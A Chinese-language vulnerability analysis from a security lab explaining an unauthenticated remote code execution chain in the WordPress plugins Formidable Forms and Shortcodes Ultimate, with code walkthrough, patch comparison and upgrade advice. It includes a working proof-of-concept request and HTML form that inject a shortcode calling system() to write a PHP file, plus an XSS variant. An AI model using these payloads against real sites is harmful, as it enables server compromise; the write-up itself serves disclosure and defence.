WordPress组合插件远程代码执行漏洞分析

作者：蔡思阳@360天眼实验室

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

 

0x00 漏洞概述

在前段时间，WordPress修复了两个插件的漏洞–Shortcodes Ultimate和formidable forms，其中Shortcodes Ultimate的下载量在70W+，而formidable forms的下载量在20W+,影响的范围比较广泛。

这个漏洞主要是由formidable forms引起的，该插件无需任何权限便可预览表单，然而对上传的html代码没有做任何检验，所以导致了包括xss和shortcode执行等在内的一系列问题。而Shortcodes Ultimate可以自定义shortcode，两者结合就可以造成严重的远程代码执行漏洞，而且无需任何权限。

 

0x01 漏洞分析

利用条件：

插件:Shortcodes Ultimate<=5.0.0

插件:formidable forms <= 2.0.5.1

我们的分析思路从文后附录的POC开始。

POST /wp-admin/admin-ajax.php HTTP/1.1action=frm_forms_preview&form={‘asdf-asdf’}&before_html=[su_meta key=1 post_id=1 default= [su_meta key=1 post_id=1 default='echo 1 > wp_rce.txt' filter='system']&custom_style=1

action=frm_forms_preview

tips：

WordPress插件的执行流程：

申明一个add_action，将tag绑定一个函数，类似于route

然后通过do_action或者ajax来调用

所以从action=frm_forms_preview来入手，搜索frm_forms_preview

在FrmHooksController.php中的load_ajax_hooks函数

add_action( 'wp_ajax_frm_forms_preview', 'FrmFormsController::preview' );add_action( 'wp_ajax_nopriv_frm_forms_preview', 'FrmFormsController::preview' );

可以看出，frm_forms_preview动作绑定在preview函数上

public static function preview() {do_action( 'frm_wp' );global $frm_vars;$frm_vars['preview'] = true;if ( ! defined( 'ABSPATH' ) && ! defined( 'XMLRPC_REQUEST' ) ) {global $wp;$root = dirname( dirname( dirname( dirname( __FILE__ ) ) ) );include_once( $root . '/wp-config.php' );$wp->init();$wp->register_globals();}header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );$key = FrmAppHelper::simple_get( 'form', 'sanitize_title' );if ( $key == '' ) {$key = FrmAppHelper::get_post_param( 'form', '', 'sanitize_title' );}$form = FrmForm::getAll( array( 'form_key' => $key ), '', 1 );if ( empty( $form ) ) {$form = FrmForm::getAll( array(), '', 1 );}require( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/direct.php' );wp_die();}

preview调用direct.php，而direct.php调用show_form函数来展示页面

public static function show_form( $id = '', $key = '', $title = false, $description = false, $atts = array() ) {……if ( self::is_viewable_draft_form( $form ) ) {// don't show a draft form on a page$form = __( 'Please select a valid form', 'formidable' );} else if ( self::user_should_login( $form ) ) {$form = do_shortcode( $frm_settings->login_msg );} else if ( self::user_has_permission_to_view( $form ) ) {$form = do_shortcode( $frm_settings->login_msg );} else {$form = self::get_form( $form, $title, $description, $atts );/*** Use this shortcode to check for external shortcodes that may span* across multiple fields in the customizable HTML* @since 2.0.8*/$form = apply_filters( 'frm_filter_final_form', $form );}return $form;}

此时的frm_settings

可以看到login_msg，我们是不需要登录的

所以show_form走的是else流程

$form = self::get_form( $form, $title, $description, $atts );/*** Use this shortcode to check for external shortcodes that may span* across multiple fields in the customizable HTML* @since 2.0.8*/$form = apply_filters( 'frm_filter_final_form', $form );

调用get_form函数

public static function get_form( $form, $title, $description, $atts = array() ) {ob_start();self::get_form_contents( $form, $title, $description, $atts );self::enqueue_scripts( FrmForm::get_params( $form ) );$contents = ob_get_contents();ob_end_clean();self::maybe_minimize_form( $atts, $contents );return $contents;}

调用get_from_contents

而get_form_contents

if ( $params['action'] != 'create' || $params['posted_form_id'] != $form->id || ! $_POST ) {do_action('frm_display_form_action', $params, $fields, $form, $title, $description);if ( apply_filters('frm_continue_to_new', true, $form->id, $params['action']) ) {$values = FrmEntriesHelper::setup_new_vars($fields, $form);include( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/new.php' );}return;}

调用了setup_new_vars函数，

setup_new_vars函数将post请求的内容取出来存放在value数组中

然后调用了new.php,而new.php调用form.php，

form.php调用replace_shortcodes

<?php echo FrmFormsHelper::replace_shortcodes( $values['before_html'], $form, $title, $description ); ?>

并将before_html的值传入

replace_shortcode函数对$html做一系列过滤，并最终调用

if ( apply_filters( 'frm_do_html_shortcodes', true ) ) {$html = do_shortcode( $html );}

此时的$html就是before_html的值

do_shortcode函数执行shortcode

我们看看do_shortcode函数

* @since 2.5.0** @global array $shortcode_tags List of shortcode tags and their callback hooks.** @param string $content Content to search for shortcodes.* @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped.* @return string Content with shortcodes filtered out.*/function do_shortcode( $content, $ignore_html = false ) {global $shortcode_tags;if ( false === strpos( $content, '[' ) ) {return $content;}if (empty($shortcode_tags) || !is_array($shortcode_tags))return $content;...

注释上写的很清楚，如果传入的$shortcode_tags存在于全局变量中的话，就会调用相应的hook函数，如果不存在就原样输出。

此时再来看一下我们的payload，

before_html=[su_meta key=1 post_id=1 default=''echo 1 > wp_rce.txt' filter='system']$shortcode_tags=su_meta

而Shortcodes Ultimate插件的load.php将su_meta注册了，所以就会调用su_meta对应的函数

在Shortcodes Ultimate插件的inc\core\load.php中会将inc\core\data.php中shortcodes数组里里存在的标签遍历一遍，然后通过add_shortcode注册

public static function register() {// Prepare compatibility mode prefix$prefix = su_cmpt(); // $prefix=su_// Loop through shortcodesforeach ( ( array ) Su_Data::shortcodes() as $id => $data ) {if ( isset( $data['function'] ) && is_callable( $data['function'] ) ) $func = $data['function'];elseif ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id );elseif ( is_callable( array( 'Su_Shortcodes', 'su_' . $id ) ) ) $func = array( 'Su_Shortcodes', 'su_' . $id );else continue;// Register shortcodeadd_shortcode( $prefix . $id, $func );}// Register [media] manually // 3.xadd_shortcode( $prefix . 'media', array( 'Su_Shortcodes', 'media' ) );}}

而shortcodes数组存在meta标签，所以走的是

else if ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id );

这个条件

而inc\core\shortcodes.php中存在meta函数，

public static function meta( $atts = null, $content = null ) {$atts = shortcode_atts( array('key'     => '','default' => '','before'  => '','after'   => '','post_id' => '','filter'  => ''), $atts, 'meta' );// Define current post IDif ( !$atts['post_id'] ) $atts['post_id'] = get_the_ID();// Check post IDif ( !is_numeric( $atts['post_id'] ) || $atts['post_id'] < 1 ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'post ID is incorrect', 'shortcodes-ultimate' ) );// Check key nameif ( !$atts['key'] ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'please specify meta key name', 'shortcodes-ultimate' ) );// Get the meta$meta = get_post_meta( $atts['post_id'], $atts['key'], true );// Set default value if meta is emptyif ( !$meta ) $meta = $atts['default'];// Apply cutom filterif ( $atts['filter'] && function_exists( $atts['filter'] ) ) $meta = call_user_func( $atts['filter'], $meta );// Return resultreturn ( $meta ) ? $atts['before'] . $meta . $atts['after'] : '';

而meta函数中最重要的一句就是$meta = call_user_func( $atts[‘filter’], $meta );

会将filter的值作为处理函数，处理meta的内容。而meta来自于default的值

而我们传入的是[su_meta key=1 post_id=1 default=’echo 1 > wp_rce.txt’ filter=’system’]

就利用system函数执行了我们的短代码

 

0x02 漏洞验证

Poc：

<html><body><h2>payload:</h2>[su_meta key=1 post_id=1 default='echo &#60;?php phpinfo();?&#62; > ../wp-content/wp_rce.php' filter='system']<form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST"><input type="hidden" name="action" value='frm_forms_preview' /><input type="hidden" name="form" value="{'contact-form'}" /><input type="hidden" name="before_html" value="[su_meta key=1 post_id=1 default='echo ^<?php phpinfo();?^> > ../wp-content/wp_rce.php' filter='system']" /><input type="hidden" name="custom_style" value="1" /><input type="submit" value="Submit" /></form></body>

将上述poc保存为html之后，点击submit，访问http://127.0.0.1/wordpress/wp-content/wp_rce.php

同样的原理，如果将payload改为

<script>alert(‘XSS’)</script>

就会造成xss

 

0x03 补丁分析

formidable forms在新版本中修改了setup_new_vars函数

存在漏洞版本：

foreach ( $form->options as $opt => $value ) {$values[ $opt ] = FrmAppHelper::get_post_param( $opt, $value );unset($opt, $value);}

$values = array_merge( $values, $form->options );

可以看出，跳过了get_post_param函数，并没有取出post中的值修复版本：

Shortcodes Ultimate在新版本中添加了对filter函数的检验

存在漏洞版本：

'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"

修复版本：

'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Name of your function must include word <b>filter</b>. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"

可以看出filter函数必须包含filter字符串

 

0x04 防护建议

如果使用到了这两款插件，请尽快升级：

formidable forms升级至2.05.07

Shortcodes Ultimate升级至5.0.1

 

0x05 参考文章

https://www.pluginvulnerabilities.com/2017/11/09/vulnerability-details-shortcode-execution-vulnerability-in-formidable-forms/

任何问题可以联系我[e-mail]

本文由安全客原创发布
如若转载，请注明出处： https://www.anquanke.com/post/id/88067

安全客 - 有思想的安全新媒体

安全客小编

文章：11，粉丝：11

1条评论

昵称

换一个

您当前还没有登录。 点击登录 >>

还差5个字即可发布评论

陆羽•2017-12-01 17:14:50

组合插件漏洞……新思路啊，不过这样条件似乎比较苛刻